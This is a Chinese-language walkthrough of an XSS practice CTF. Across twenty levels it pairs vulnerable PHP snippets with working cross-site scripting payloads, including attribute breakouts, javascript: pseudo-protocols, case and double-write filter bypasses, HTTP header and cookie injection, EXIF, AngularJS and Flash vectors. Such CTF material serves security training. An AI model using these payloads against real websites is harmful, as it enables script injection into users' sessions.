url:http://xss-ctf.xiejiahe.com/level1?name=test
关键代码分析
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
输入test<,可以看到没有任何过滤
通过url进行控制,常用payload
<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>
url:http://xss-ctf.xiejiahe.com/level2?keyword=test
关键代码分析
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
使用GET方法,从url中接受一个keyword搜索参数,此处用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体
本题是搜索型xss
输入常见的payload:<script>alert('xss')</script>
没有弹窗,审查元素可以看到的输入的XSS语句被赋值给value并且在input标签里,所以我们需要闭合value和input标签才可以正常弹窗
输入框构造常用payload:
" onmouseover=alert(/xss/)>click
当鼠标移动到搜索框就会触发弹窗
审查元素,可以看到我们的输入变成了
"><script>alert(/xss/)</script>
"><script>confirm(/xss/)</script>
"><script>prompt(/xss/)</script>
其它payload:
其它payload:
" onchange=alert`document.domain` // 要在输入框里再次输入参数,并按下空格,才会弹窗
" oninput=alert`document.domain` // 要在输入框里再次输入参数
" onfocus=alert(document.domain) autofocus;// 要再次单击搜索框
url:http://xss-ctf.xiejiahe.com/level3?keyword=wait
关键源代码分析
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
发现过滤了 < 和 >使用的str_replace函数,需要用 " 闭合value标签。注意:str_replace函数是区分大小写的,str_ireplace函数不区分大小写,所以有时候我们还可以利用大小写绕过。
构造payload:
' onclick=alert(/xss/)//
输入payload后,单击搜索框,就会触发弹窗
审查元素发现我们的输入变成了
' onmouseover=alert('xss')// 当鼠标移动到搜索框触发弹窗
' oninput=alert`xss` //
' oninput=alert`xss` ' 要在输入框内再次输入参数触发弹窗
' onchange=alert`xss` //
' onchange=alert`xss` ' 要在输入框里再次输入参数,并按下空格,才会弹窗
url:http://xss-ctf.xiejiahe.com/level4?keyword=try%20harder!
关键源码分析
可以看到,传入进去的值经过了两个函数的参与,str_replace(">","",$str),此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化,这时要在没有符号“<>”,的情况下构造语句,并且不被htmlspecialchars()函数影响。所以这里可以构造一个输入到文本框后出现相应的事件。
构造payload:
" onfocus=alert(xss) autofocus="
onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。
其它payload:
" onmouseover=alert('xss') 当鼠标移动到搜索框触发弹窗
" oninput=alert`xss` 要在输入框内再次输入参数触发弹窗
" onchange=alert`xss`//
" onchange=alert`xss` ' 要在输入框里再次输入参数,并按下空格,才会弹窗
url:http://xss-ctf.xiejiahe.com/level5?keyword=find%20a%20way%20out!
关键代码分析
看一下源代码,str2=strreplace("<script","<scr_ipt",str),str3=strreplace("on","o_n",str2)是把<script转换为<scr_ipt,on转换成o_n,这样就过滤了js事件,过滤了script标签和on标签,str=strtolower(_GET[''keyword"]);大小写绕过也会失效,不过这次没有过滤尖括号><,没过滤a标签,可以使用伪协议来构造payload:
"><iframe src=javascript:alert(/xss/)>
"> <a href="javascript:%61lert(5)">click me !!!</a>
点击click me,成功弹窗
"><a href=" javascript:alert(/xss/)"
点击payload的长度为36,触发弹窗
url:http://xss-ctf.xiejiahe.com/level6?keyword=break%20it%20out!
关键源码分析
由于是用str_replace函数来过滤的,这一关没有对大小写的限制,所以我们可以通过大小写变换来绕过。
构造payload:
"> <SCRIpt>alert(/xss/)</SCriPT>
"> <img Src=a ONerrOR=alert(/xss/)>
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a> 还要点击click me
审查元素
" ONclick=alert(/xss/) //
还要点击输入框
"><svg x="" ONclick=alert(/xss/)>
点击这个区域才会触发弹窗
url:http://xss-ctf.xiejiahe.com/level7?keyword=move%20up!
关键源码分析
审查代码,我们可以发现script,on,src,data,href都被转换成空了,大小写也不能用了,所以本题我们可以尝试双写绕过。
构造 payload:
" oonnclick=alert(/xss/)//
点击搜索框,触发弹窗
" oonnmouseover=alert(/xss/)//
鼠标移动到输入框出触发弹窗
" oonninput=alert(/xss/) "
要在输入框内再次输入参数,才会触发弹窗
url:http://xss-ctf.xiejiahe.com/level8?
关键代码分析
通过审查源代码我们可以发现,"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'"',大小写过滤并被编码,尖括号><,单引号',%,#,&符号没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,javascript:伪协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行,由于script关键字被过滤,javascript会被替换成javasc_ript,使用r来代替r,伪协议后面可以使用URL编码进行编码。
Payload:
javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`
审查元素
点击友情链接
url:http://xss-ctf.xiejiahe.com/level9?keyword=not%20bad!
关键代码分析
通过审查源码发现"script"转换为"scr_ipt","on"转换为"o_n","src"转换为"sr_c","data"转换为"da_ta","href"转换为"hr_ef",'"'转换为'"',和上一关差不多,不同的是多了自动检测URL,如果发现没有带http://内容则会显示为不合法。
构造payload:
javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)
审查元素
点击友情链接
url:http://xss-ctf.xiejiahe.com/level10?keyword=well%20done!
关键代码分析
通过审查源码发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,或许可以从隐藏的输入框下手,构造payload。
payload:
keyword=test&t_sort="type="text" onclick="alert(/xss/)
审查元素
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)
keyword=test&t_sort=" type="text"onmouseover=alert`/xss/` "
keyword=well done!&t_sort=" type="text" onclick="alert(/xss/)
url:http://xss-ctf.xiejiahe.com/level11?keyword=good%20job!
关键代码分析
通过审查源码发现和上一关相似,多了一个str11=$_SERVER['HTTP_REFERER'];验证的是http头部的xss注入,使用burp抓包,修改相应的字段,构造http头部referer的payload。
头部本身没有Referer,自行添加了,
payload:Referer:" onmouseover=alert(/xss/) type="text"
Referer:" onclick="alert(/xss/)" type="text
鼠标移动到搜索框触发弹窗
审查元素
url:http://xss-ctf.xiejiahe.com/level12?keyword=good%20job!
关键代码分析
通过审查源码发现,str11=_SERVER['HTTP_USER_AGENT'];应该是User-Agent的http头部注入,burp抓包,构造头部User-Agent的payload。
User-Agent:" onmouseover=alert(/xss/) type="text"
User-Agent:" onclick="alert(/xss/)" type="text
鼠标移动到搜索框触发弹窗
审查元素
url:http://xss-ctf.xiejiahe.com/level13?keyword=good%20job!
关键代码分析
通过审查源码发现,这次是cookie类型的xss注入,setcookie("user", "call me maybe?", time()+3600);
构造payload:
Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)
鼠标点击搜索框触发弹窗
审查元素
url:http://47.94.9.224:84/level14.php
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg
查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的
漏洞,上传一个含有xss代码的图片触发xss。
exif xss
这里用了angularjs的ng-include,直接在包含的页面里用<script>触发不了,ng-include相当于php的include函数,然后src参数被转义了,最终我们
可以include leve1然后再用img标签传xss。
遵循SOP,只好调用第一关代码。
需要单引号包裹,否则变成注释。
paload:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
<ng-include autoscroll="expression" onload="expression" src="filename"></ng-include></ng-include></ng-include>
<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>
url:http://47.94.9.224:84/level16.php
关键代码分析
通过审查源码发现大小写绕过失效,script、/、,等都被转换成 ,这时,可以尝试使用%0a,%0d来进行绕过。
构造语句:
keyword=<img%0dsrc=a%0donerror=alert(1)>
keyword=<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
keyword=<svg%0aonload=alert`/xss/`></svg>
url:http://47.94.9.224:84/level17.php?arg01=a&arg02=b
测试语句:
arg01=a&arg02=%20onmouseover=alert`1`
审查元素
url:http://47.94.9.224:84/level18.php?arg01=a&arg02=b
和上一关一样。
测试语句:
arg01=a&arg02=%20onmouseover=alert`1`
url:http://47.94.9.224:84/level19.php?
flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
然后追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
所以我们可以构造<a > </a>
标签来传值
构造payload:
arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
点击xss即可触发弹窗
url:http://47.94.9.224:84/level20.php?arg01=a&arg02=b
这题是zeroclipboard.swf的xss,构造payload
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
先知社区:
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
FreeBuf: